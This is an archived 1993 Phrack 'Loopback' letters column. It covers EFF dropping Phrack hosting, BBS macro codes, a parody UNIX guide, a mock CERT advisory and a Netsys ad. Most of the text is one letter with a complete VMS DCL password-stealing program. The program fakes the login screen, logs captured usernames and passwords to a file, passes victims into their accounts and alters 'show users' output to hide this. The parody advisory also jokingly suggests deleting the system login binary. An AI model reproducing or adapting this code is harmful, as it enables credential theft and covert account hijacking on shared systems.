===================restored from the wayback machine in 2016====================

File: archives/43/p43\_0x02\_Phrack Loopback Part I\_by\_Phrack Staff.txt ==Phrack Magazine==

Volume Four, Issue Forty-Three, File 2 of 27

Phrack Loopback

Part I

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

COMING NEXT ISSUE

Van Eck Info (Theory & Practice)

More Cellular (Monitoring Reverse Channel, Broadcasting, Reprogramming)

HUGE University Dialup List (Mail Us YOUR School's Dialup NOW!)

Neato Plans For Evil Devices

Gail Thackeray Gifs

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* M A I L \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Chris,

Craig Neidorf gave me these addresses as ways to reach you. He tells me

that you are currently editing Phrack. I hope you are well.

Recently the EFF sysadmins, Chris Davis and Helen Rose, informed me that

eff.org was using so much of its T-1 bandwidth that UUNET, who supplies our

IUP connection, was charging us an extra $1,000 per month. They did some

investigation at my request. We determined that Phrack traffic alone was

responsible for over 40% of the total bytes transferred from the site over

the past year or so. This is several gigabytes per month. All in all, the

CuD archive, which contains Phrack, CuD, and other publications accounts

for 85% of our total traffic. All of the email to and from EFF, Usenet

traffic, and other FTP (from the EFF archive, the CAF archive, and others)

constitutes about 15%.

EFF isn't going to be able to carry it any more because it is effectively

costing us $1,000 per month. The fundamental problem is that Phrack is so

popular (at least as a free good) to cause real expense in transmission

costs. Ultimately the users are going to have to pay the costs because

bandwidth (when measures in gigabytes anyway) isn't free. The 12K per

year it costs us to carry Phrack is not something which EFF can justify in

its budget. I'm sure you can understand this.

On July 1, eff.org moves from Cambridge to Washington, DC which is when I

expect we will stop carrying it. I wanted to raise this issue now to let

you know in advance of this happening.

I have also asked Chris and Helen to talk to Brendan Kehoe, who actually

maintains the archive, to see whether there is anything we can do to help

find another site for Phrack or make any other arrangement which will

result in less loss of service.

Mitch

------------------------------------------------------------------------------

Mitchell Kapor, Electronic Frontier Foundation

Note permanent new email address for all correspondence as of 6/1/93

mkapor@kei.com

[Editor: Well, all things must come to an end. Looks like EFF's

move to Washington is leaving behind lots of bad

memories, and looking forward to a happy life in the hotbed

of American politics. We wish them good luck. We also

encourage everyone to join.........CPSR.

In all fairness, I did ask Mitch more detail about the

specifics of the cost, and he explained that EFF was paying

flat rate for a fractional T-1, and whenever they went over

their allotted bandwidth, they were billed above and beyond

the flat rate. Oh well. Thank GOD for Len Rose.

Phrack now has a new home at ftp.netsys.com.]

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

I'm having a really hard time finding a lead to the Information

America Network. I am writing you guys as a last resort. Could

you point me in the right direction? Maybe an access number or

something? Thanks you very much.

[Editor: You can reach Information America voice at 404-892-1800.

They will be more than happy to send you loads of info.]

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

To whom it may concern:

This is a submission to the next issue of phrack...thanks for the great

'zine!

----------------------------cut here-------------------------------

Greetings Furds:

Have you ever wanted to impress one of those BBS-babes with your astounding

knowledge of board tricks? Well \*NOW\* you can! Be the life of the party!

Gain and influence friends! Irritate SysOps! Attain the worship and

admiration of your online pals. Searchlight BBS systems (like many other

software packages) have internal strings to display user information in

messages/posts and the like. They are as follows (tested on Searchlight BBS

System v2.25D):

\%A = displays user's access level

\%B = displays baud rate connected at

\%C = unknown

\%F = unknown

\%G = displays graphics status

\%K = displays user's first name

\%L = displays system time

\%M = displays user's time left on system

\%N = displays user's name in format: First Last

\%O = times left to call "today"

\%P = unknown

\%S = displays line/node number and BBS name

\%T = displays user's time limit

\%U = displays user's name in format: FIRST\_LAST

All you gotta do is slam the string somewhere in the middle of a post or

something and the value will be inserted for the reader to see.

Example: Hey there chump, I mean \%K, you better you better UL or log

off of \%S...you leach too damn many files..you got \%M mins

left to upload some new porn GIFs or face bodily harm and

mutilation!.

----------------------------

Have phun!

Inf0rmati0n Surfer (& Dr. Cloakenstein)

SysOp Cranial Manifestations vBBS

[Editor: Ya know, once a LONG LONG time ago, I got on a BBS and

while reading messages noticed that a large amount of

messages seemed to be directed at ME!!# It took me

about 10 minutes to figure it out, but BOY WAS I MAD!

Then I added my own \%U message for the next hapless fool.

:) BIG FUN!]

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

-(/)-(\)-(/)-(\)-(/)-(\)-(/)-(\)-(/)-(\)-(/)-(\)-(/)-(\)-(/)-(\)-(/)-(\)-

SotMESC

The US SotMESC Chapter is offering

Scholarships for the 1993 school term.

Entries should be single-spaced paragraphs,

Double-spacing between paragraphs.

The subject should center on an aspect of the

Computer Culture and be between 20-30 pages long.

Send entries to:

SotMESC

PO Box 573

Long Beach, MS 39560

All entries submitted will become the property of the SotMESC

-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

The Southwest Netrunner's League's

-----------------------------------------------------------------

WareZ RoDeNtZ Guide to UNIX!!!!

-----------------------------------------------------------------

Compiled by:The Technomancer (UNICOS,UNIX,VMS,and Amigas)

Assists by:SysCon XIV (The Ma'Bell Rapist)

Iron Man MK 4a (Things that make ya go boom)

This file begs to be folded, spindeled,and mutilated.

No Rights Reserved@1993

-----------------------------------------------------------------

Technomancer can be reached at: af604@FreeNet.hsc.colorado.edu

Coming this September.... Shadowland, 68020... Watch this space.

-----------------------------------------------------------------

Part I(Basic commands)

Phile Commands: ls=List Philes

more,page=Display Phile on Yo Terminal

cp=Copy Phile

mv=Move or Remove Philes

rm=Remove Philes

Editor Commnds: vi=Screen Editor

Dirtory cmmnds: dir=Prints Directory

mkdir=Makes a new Directory(also a VERY bad bug)

rmdir=Remove a Directory

pwd=print working directory

Misc. Commands: apropos=Locate commands by keyword lookup.

whatis=Display command description.

man=Displays manual pages online.

cal=Prints calendar

date=Prints the time and date.

who=Prints out every one who is logged in

(Well, almost everyone 7:^] )

---------------------------------------------------------------

Part II(Security(UNIX security, another OXYMORON 7:^] ))

If you are a useless wAReZ r0dEnT who wants to try to Netrun

a UNIX system, try these logins....

root

unmountsys

setup

makefsys

sysadm

powerdown

mountfsys

checkfsys

All I can help ya with on da passwords iz ta give you some

simple guidelines on how they are put together....

6-8 characters

6-8 characters

1 character is a special character (exmpl:# ! ' & \*)

-----------------------------------------------------------------

Well thats all fo' now tune in next time, same Hack-time

same Hack-channel!!!

THE TECHNOMANCER I have taken all knowledge

af604@FreeNet.hsc.colorado.edu

to be my province

--

Technomancer

Southwest Netrunner's League

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

[Editor: This is an example of what NOT to send to Phrack.

This is probably the worst piece of garbage I've

received, so I had to print it. I can only hope

that it's a private joke that I just don't get.

Uh, please don't try to write something worse and

submit it hoping to have it singled out as the

next "worst," since I'll just ignore it.]

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Dear Phrack,

I was looking through Phrack 42 and noticed the letters about password

stealers. It just so happened that the same day I had gotten extremely

busted for a program which was infinitely more indetectible. Such is life.

I got off pretty well being an innocent looking female so it's no biggie.

Anyway, I deleted the program the same day because all I could think was

"Shit, I'm fucked". I rewrote a new and improved version, and decided to

submit it. The basic advantages of this decoy are that a) there is no

login failure before the user enters his or her account, and b) the

program defines the show users command for the user so that when they

do show users, the fact that they are running out of another account

doesn't register on their screen.

There are a couple holes in this program that you should probably be

aware of. Neither of these can kick the user back into the account that

the program is running from, so that's no problem, but the program can

still be detected. (So basically, don't run it out of your own account...

except for maybe once...to get a new account to run it out of) First, once

the user has logged into their account (out of your program of course) hitting

control\_y twice in a row will cause the terminal to inquire if they are

doing this to terminate the session on the remote node. Oops. It's really no

problem though, because most users wouldn't even know what this meant. The

other problem is that, if the user for some strange reason redefines show:

$show == ""

then the show users screen will no longer eliminate the fact that the account

is set host out of another. That's not a big deal either, however, because

not many people would sit around randomly deciding to redefine show.

The reason I was caught was that I (not even knowing the word "hacker"

until about a month ago) was dumb enough to let all my friends know about the

program and how it worked. The word got spread to redefine show, and that's

what happened. The decoy was caught and traced to me. Enough BS...here's the

program. Sorry...no UNIX...just VMS.

Lady Shade

I wrote the code...but I got so many ideas from my buddies:

Digital Sorcerer, Y.K.F.W., Techno-Pirate, Ephemereal Presence, and Black Ice

------------------------------------------------

$if p1 .eqs. "SHOW" then goto show

$sfile = ""

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!! The role of the dummy file in this program is to tell if the program !!!!

!!!! is being used as a decoy or as a substitute login for the victim. It !!!!

!!!! does not stay in your directory after program termination. !!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$sfile = f$search("sys$system:[ZJABAD\_X]dummy.txt")

$if sfile .nes. "" then goto other

$open/write io user.dat

$close io

$open/write dummy instaar\_device:[miller\_g]dummy.txt

$close dummy

$wo == "write sys$output"

$line = ""

$user = ""

$pass = ""

$a$ = ""

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!! A login screen with a message informing someone of new mail wouldnt !!!!

!!!! be too cool... !!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$set broadcast=nomail

$set message/noidenficitaion/noseverity/nofacility/notext

$on error then goto outer

$!on control\_y then goto inner

$wo " [H [2J"

$wo ""

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!! insert a fake logout screen here !!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$wo " ZJABAD\_X logged out at ", f$time()

$wo " [2A"

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!! This is the main body of the program. It simulates the system login !!!!

!!!! screen. It also grabs the username and password and sticks them in !!!!

!!!! a file called user.dat !!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$outer:

$set term/noecho

$inquire a$/nopun ""

$inquire a$/nopun ""

$set term/echo

$c = 0

$c1 = 0

$c2 = 0

$inner:

$c2 = c2 + 1

$if c2 .eqs. 5 then goto speedup

$c = c + 1

$if c .eqs. 15 then goto fail

$if c1 .eqs. 3 then goto fail3

$user = "a"

$wo "Username: "

$from\_speedup:

$set term/uppercase

$wo " [2A"

$read/time\_out=10/prompt=" [9C " sys$command user

$if user .eqs. "a" then goto timeout

$set term/nouppercase

$if user .eqs. "" then goto inner

$set term/noecho

$inquire pass "Password"

$set term/echo

$if user .eqs. "ME" then goto done

$if pass .eqs. "" then goto fail

$open/append io user.dat

$write io user + " " + pass

$close io

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!! Sends the user into their account !!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$open/write io set.com

$write io "$set host 0"

$write io user + "/COMMAND=INSTAAR\_DEVICE:[MILLER\_G]FINDNEXT"

$write io pass

$close io

$@set

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!! Control has been returned to your account !!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$write io " [2A"

$goto outer

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!! Simulates a failure if the password is null, and also if the !!!!

!!!! username prompt has cycled through 15 times... This is what !!!!

!!!! the system login screen does. !!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$fail:

$c = 1

$c1 = c1 + 1

$wo "User authorization failure"

$wo " [1A"

$goto inner

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!! After the third failure, the system usually sends the screen back !!!!

!!!! one step...this just handles that. !!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$fail3:

$wo " [2A"

$goto outer

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!! The system keeps a timeout check in the login. If a username is not !!!!

!!!! entered quickly enough, the timeout message is activated !!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$timeout:

$set term/nouppercase

$wo "Error reading command input"

$wo "Timeout period expired"

$wo " [2A"

$goto outer

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!! There is a feature in this program which sets the terminal to !!!!

!!!! uppercase for the input of a username. This is wonderful for !!!!

!!!! preventing program detection, but it does cause a problem. It slows !!!!

!!!! the screen down, which looks suspicious. So, in the case where a !!!!

!!!! user walks up tot he terminal and holds the return key down for a !!!!

!!!! bit before typing in their username, this section speeds up the run !!!!

!!!! considerably. !!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$speedup:

$set term/nouppercase

$fast\_loop:

$user = "a"

$read/time\_out=1/prompt="Username: " sys$command io

$if user .eqs. "a" then goto from\_speedup

$goto fast\_loop

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!! This section is optional. There are many ways that you can implement !!!!

!!!! to break out of the program when you think you have gotten enough !!!!

!!!! passwords. 1), you can sit down at the terminal and type in a string !!!!

!!!! for the username and pass which kicks you out. If this option is !!!!

!!!! implemented, you should at least put in something that looks like !!!!

!!!! you have just logged in, the program should not kick straight back !!!!

!!!! to your command level, but rather execute your login.com. 2) You !!!!

!!!! can log in to the account which is stealing the password from a !!!!

!!!! different terminal and stop the process on the account which is !!!!

!!!! running the program. This is much safer, and my recommandation. !!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$done:

$set broadcast=mail

$set message/facility/text/identification/severity

$delete dummy.txt;\*

$exit

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!! This section is how one covers up the fact that the account which has !!!!

!!!! been stolen is running out of another. Basically, the area of the show!!!!

!!!! users screen which registers this is at the far right hand side. !!!!

!!!! This section first writes the show users data to a file and alters !!!!

!!!! it before it is written to the screen for viewing by the user. There !!!!

!!!! may exist many forms of the show users command in your system, and !!!!

!!!! you may have to handle each one differently. I have written only two !!!!

!!!! manipulations into this code to be used as an example. But looking !!!!

!!!! at how this is preformed should be enough to allow you to write your !!!!

!!!! own special cases. Notice that what happens to activate this section !!!!

!!!! of the program is the computer detects the word "show" and interprets !!!!

!!!! it as a procedure call. The words following show become variables !!!!

!!!! passed into the program as p1, p2, etc. in the order which they !!!!

!!!! were typed after the word show. Also, by incorporating a third data !!!!

!!!! file into the manipulations, one can extract the terminal id for the !!!!

!!!! account which the program is running out of and plug this into the !!!!

!!!! place where the user's line displays his or her terminal id. Doing !!!!

!!!! this is better that putting in a fake terminal id, but that is just a !!!!

!!!! minor detail. !!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$show:

$show = ""

$show$ = ""

$length = 0

$ch = ""

$full = 0

$c = 0

$if (f$extract(5,1,p2) .eqs. "/") .and. (f$extract(6,4,p2) .nes. "FULL") then show 'p1'

$if (p2 .eqs. "USERS/FULL") .and. (p3 .eqs. "") then goto ufull

$if p2 .eqs. "USERS" .and. p3 .eqs. "" then show users

$if p2 .eqs. "USERS" .and. p3 .eqs. "" then exit

$if p3 .eqs. "" then goto fallout

$goto full

$fallout:

$show 'p2' 'p3'

$exit

$ufull:

$show users/full/output=users.dat

$goto manipulate

$full:

$show$ = p3 + "/output=users.dat"

$show users 'show$'

$manipulate:

$set message/nofacility/noseverity/notext/noidentification

$open/read io1 users.dat

$open/write io2 users2.dat

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!! Control\_y must be dealt with here. If the user did happen to controlY !!!

!!!! there is a chance that the files users.dat and users2.dat could be !!!

!!!! left in their directory. That is a bad thing as we are trying to !!!

!!!! prevent detection :) !!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$on control\_y then goto aborted

$user = ""

$test = ""

$long = ""

$ch = ""

$length = 0

$user = f$user()

$length = f$length(user) - 2

$user = f$extract(1,length,user)

$read\_loop:

$read/end\_of\_file=eof io1 line

$test = f$extract(1,length,line)

$ch = f$extract (length+1,1,line)

$if (test .eqs. user) .and. (ch .eqs. " ") then goto change

$from\_change:

$write io2 line

$goto read\_loop

$eof:

$close io1

$close io2

$type users2.dat

$del users.dat;\*

$del users2.dat;\*

$show == "@instaar\_device:[MILLER\_G]findnext show"

$set message/facility/text/severity/identification

$exit

$change:

$if f$extract(50,1,line) .nes. "" then line = f$extract(0,57,line) + "(FAKE TERMINAL INFO)"

$goto from\_change

$aborted:

$!if f$search("users.dat") .nes. "" then close io1

$!if f$search("users.dat") .nes. "" then delete users.dat;\*

$!if f$search("users2.dat") .nes. "" then close io2

$!if f$search("users2.dat") .nes. "" then delete users2.dat;\*

$close io1

$close io2

$delete users.dat;\*

$delete users2.dat;\*

$show == "@instaar\_device:[MILLER\_G]findnext show"

$set message/facility/text/severity/identification

$exit

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!!!! This is the section of the program which is executed in place of the !!!!

!!!! users login.com. It does grab their login and execute it to prevent !!!!

!!!! suspicion, but there are a couple of hidden commands which are also !!!!

!!!! added. They redefine the show and sys commands so that the user can !!!!

!!!! not detect that he or she is riding off of another account. !!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$other:

$sh$ = "@instaar\_device:[miller\_g]findnext show"

$shline = "$sh\*ow ==" + sh$

$logi = ""

$logi = f$search("login.com")

$if logi .NES. "" then goto Ylogin

$nologin:

$open/write io login2.com

$write io shline

$close io

$@login2

$delete login2.com;\*

$exit

$ylogin:

$open/write io2 login2.com

$open/read io1 login.com

$transfer\_loop:

$read/end\_of\_file=ready io1 line

$write io2 line

$goto transfer\_loop

$ready:

$write io2 "$sh\*ow == ""@instaar\_device:[miller\_g]findnext show""

$close io1

$close io2

$@login2

$delete login2.com;\*

$exit

[Editor: Thanks for the letter and program. I wish I could bring

myself to use a VMS and try it out. :) Always happy

to get notice that somewhere out there a female reads

Phrack. By the way, "innocent female" is an oxymoron.]

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

To: Phrack Loopback.

From: White Crocodile.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Greetings sweet Phrack and Mr. Bloodaxe. Your "loopback reports" is

really cool invention and I (sorry for egoisthic "I") with pleasure

wasting time for his reading ( ex. my playboy time ). But here for

some unknown reason appear equal style, and all loopback remind

something medium between "relations search" [Hello Dear Phrack, I am

security expert of our local area, but when I looked to output of

"last" program (oh,yeah - "last" it is ...), I ocassionaly under -

standed what apparently someone elite hacker penetrated into my

unpassworded account! But how he knew it??? I need to talk

with him! Please mail me at security@...] and "make yourself" [Yep.I

totally wrote program which gets file listing from target vicitim's

home directory in current host. After that I decided to contribute

it for You. I hope this will help. Here is the complete C code. "rx"

permission in target's '$HOME' required.].

Looking similar articles like "... off Geek!" and various reports

which don't reacheds PWN. [CENSORED BY ME].

Resulting from abovewritten reason and I let myself to add some

elite (oops word too complex), some bogus and little deposit to Your

lb. He written in classic plagiarize style.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

\* \* \*

Good mornin' Ladys and Gentelmen! I hacking and phreaking. I know what

it is horrible (don't read it please - this message to Bart), but I

doing it all the time (today already 3 month). I have not much time to

write, and here is the subject - I broke into one military computer

and stole their mail about new security bug!!! l00k f3r |t:

- - -

DDN & CERT

SPECIAL REPORT\*

Sun 3.x,4.1.x login flaw

Subject: The huge Sun 4.x login hole.(possibly Ulitix 3.0,BSD,AIX

and many yet unknown systems)

Impact: Allow random intruders to gain "root" access.

Description:

The huge security hole was there and waiting! Type:

$ login root

[ no option required ], and You are! All what You need to know its

just root's password, but it (pw), sure, can be easily obtained from

real root, by asking him (root). Ex - "$ talk root"

Possible fix until copyrighted patch come out:

#rm /usr/bin/login

#cp /usr/games/fortune /usr/bin/login

If you believe that your system has been compromised, contact CERT CC. Call

our hotline 900-FBI-PRIVATE (24 a day,please not in dinner time or in time

of "Silence of the Lamb"), leave Inet address of your system and number of

private credit card.

- - -

\* Report not will be printed in cert advisories in this form, becouse FBI

need remove all hints and tips, and make him useless to intruders.

DISCLAIMER: Above document written by CERT, DDN and FBI -

all pretension to them.

Thanks to gr\*k (I can't write his full name for security reasons),roxtar,

y0,Fidelio,2 scotts from Santafe,KL (He not have attitude towards this

mail,but I included him for polite since he reserved tickets for me to

SUMMERCON),ahh,x0d,all zero's (count,bob,nick,etc.) and many others for

hints to me, what this bug really exist (Yep, before I stoled report).

- Write You later - anonymous.

P.S. Yup! If You won't think what I am toady - I wanna say also thanks to TK

and sure Erik Bloodaxe. And also - IF after E911 incident you are more

carefully, feel free to replace "stole" to "got" (when you'll post it), and

do not forget to add "reprinted with permission".

- Sincerely, anonymous.

----------------------------------------------------------------------

[Editor: More indications that we will all be raided by the DEA

more often than the FBI in coming years.]

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

"Since my probation status forces me to be adamant about this. Illegal

activities on Netsys cannot and will not be tolerated. Prison sucked."

- Len Rose

06/6/93

NETSYS COMMUNICATION SERVICES Palo Alto, California

Netsys is a network of large Sun servers dedicated to providing

Internet access to individuals and corporations that need solid,

reliable Internet connectivity. Netsys is at the hub of major

Internet connectivity.

Netsys is a system for professionals in both the Internet and Unix

community. The public image is important to us. Illegal activities

cannot be tolerated.

Netsys has every feature you could possibly need.

Netsys is lightly loaded, extremely reliable and dedicated to providing

full time 24 hour Internet access.

Support: 24 hour emergency response service.

Dialups: Palo Alto area, High Speed (V.32 and PEP)

Private Accounts: $20 monthly ( with file storage capacity of 5 megabytes)

$1 per megabyte per month over 5 megabytes.

Commercial Accounts: $40 monthly (file storage capacity of 10 megabytes)

$1 per megabyte per month over 10 megabytes.

Newsfeeds: We offer both nntp and uucp based newsfeeds , with all domestic

newsgroups, and including all foreign newsgroups.

SPECIAL FEATURES THAT NO ONE ELSE CAN PROVIDE

Satellite Weather: Netsys has available real time satellite weather

imagery. Images are available in gif, or Sun raster

format. Contact us for NFS mirroring, and other special

arrangement. These images are directly downlinked from

the GOES bird. Contact Steve Eigsti (steve@netsys.com)

Satellite Usenet: Netsys is offering Pagesat's satellite newsfeed service

for large volume news distribution. Members of Netsys

can obtain substantial discounts for the purchase and

service costs of this revolutionary method of Usenet news

distribution. Both Unix and MS Windows software available.

Contact (pagesat@pagesat.com) for product information.

Paging Services: Netsys is offering Pagesat's Internet to Pager mail service.

Members of Netsys can obtain critical email to pager

services. Pagesat has the ability to gateway any critical

electronic mail to your display pager.

Leased Line Internet Connections

Pagesat Inc. offers low cost 56k and T1 Internet connections all over the

United States. Since Pagesat is an FCC common carrier, our savings on

leased lines can be passed on to you. For further information, contact

Duane Dubay (djd@pagesat.com).

We offer other services such as creating domains, acting as MX

forwarders, and of course uucp based newsfeeds.

Netsys is now offering completely open shell access to Internet users.

For accounts, or more information , send mail to netsys@netsys.com

Netsys will NEVER accept more members than our capacity to serve.

Netsys prides itself on it's excellent connectivity (including multiple T1's,

and SMDS), lightly loaded systems, and it's clientele.

We're not your average Internet Service Provider. And it shows.

--------------------------------------------------------------------

[Editor: We here at Phrack are forever in debt to Mr. Len Rose for

allowing us to use ftp.netsys.com as our new official FTP

site after getting the boot off EFF. It takes a steel

set of huevos to let such an evil hacker publication

reside on your hard drive after serving time for having

dealings with evil hackers. We are STOKED! Thanks Len!

Netsys is not your average site, INDEED!]

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Something Phrack might like to see:

The contributors to and practices of the Electronic Frontier Foundation

disclose quite accurately, just who this organization represents. We

challenge the legitimacy of the claim that this is a "public interest"

advocate. Here is a copy of their list of contributors:

[FINS requested the Office of the Attorney General of the Commonwealth of

Massachusetts to provide us with a list of contributors of over $5000, to

the Electronic Frontier Foundation, required by IRS Form 990. Timothy E.

Dowd, of the Division of Public Charities, provided us with a list (dated

January 21, 1993), containing the following information. No response was

given to a phone request by FINS directly to EFF, for permission to inspect

and copy the most current IRS Form 990 information.]

ELECTRONIC FRONTIER FOUNDATION, INC.

IRS FORM 990. PART I - LIST OF CONTRIBUTIONS

NAME AND ADDRESS OF CONTRIBUTOR CONTRIBUTION

DATE AMOUNT

Kapor Family Foundation

C/O Kapor Enterprises, Inc.

155 2nd Street

Cambridge, MA 02141 Var 100,000

Mitchell D. Kapor

450 Warren Street

Brookline, MA 02146 Var 324,000

Andrew Hertzfeld

370 Channing Avenue

Palo Alto, CA 94301 12/12/91 5,000

Dunn & Bradstreet

C/O Michael F. ...

1001 G Street, NW Suite 300 East

Washington, DC 20001 02/12/92 10,000

National Cable Television

1724 Massachusetts Avenue, NW

Washington, DC 20036 02/18/92 25,000

MCI Communications Corporation

1133 19th Street, NW

Washington, DC 20036 03/11/92 15,000

American Newspaper Publishers

Association

The Newspaper CTR

11600 Sunrise Valley

Reston, VA 22091 03/23/92 20,000

Apple Computer

20525 Mariani Avenue MS:75-61

Cupertino, CA 95014 03/23/92 50,000

Sun Microsystems, Inc

c/o Wayne Rosing

2550 Garcia Ave

Mountain View, CA 94043-1100 04/03/92 50,000

Adobe Systems, Inc.

c/o William Spaller

1585 Charlestown Road

Mountain View, CA 94039-7900 04/16/92 10,000

International Business Systems

c/o Robert Carbert, Rte 100

Somers, NY 10589 05/07/92 50,000

Prodigy Services Company

c/o G. Pera...

445 Hamilton Avenue

White Plains, NY 10601 05/07/92 10,000

Electronic Mail Associates

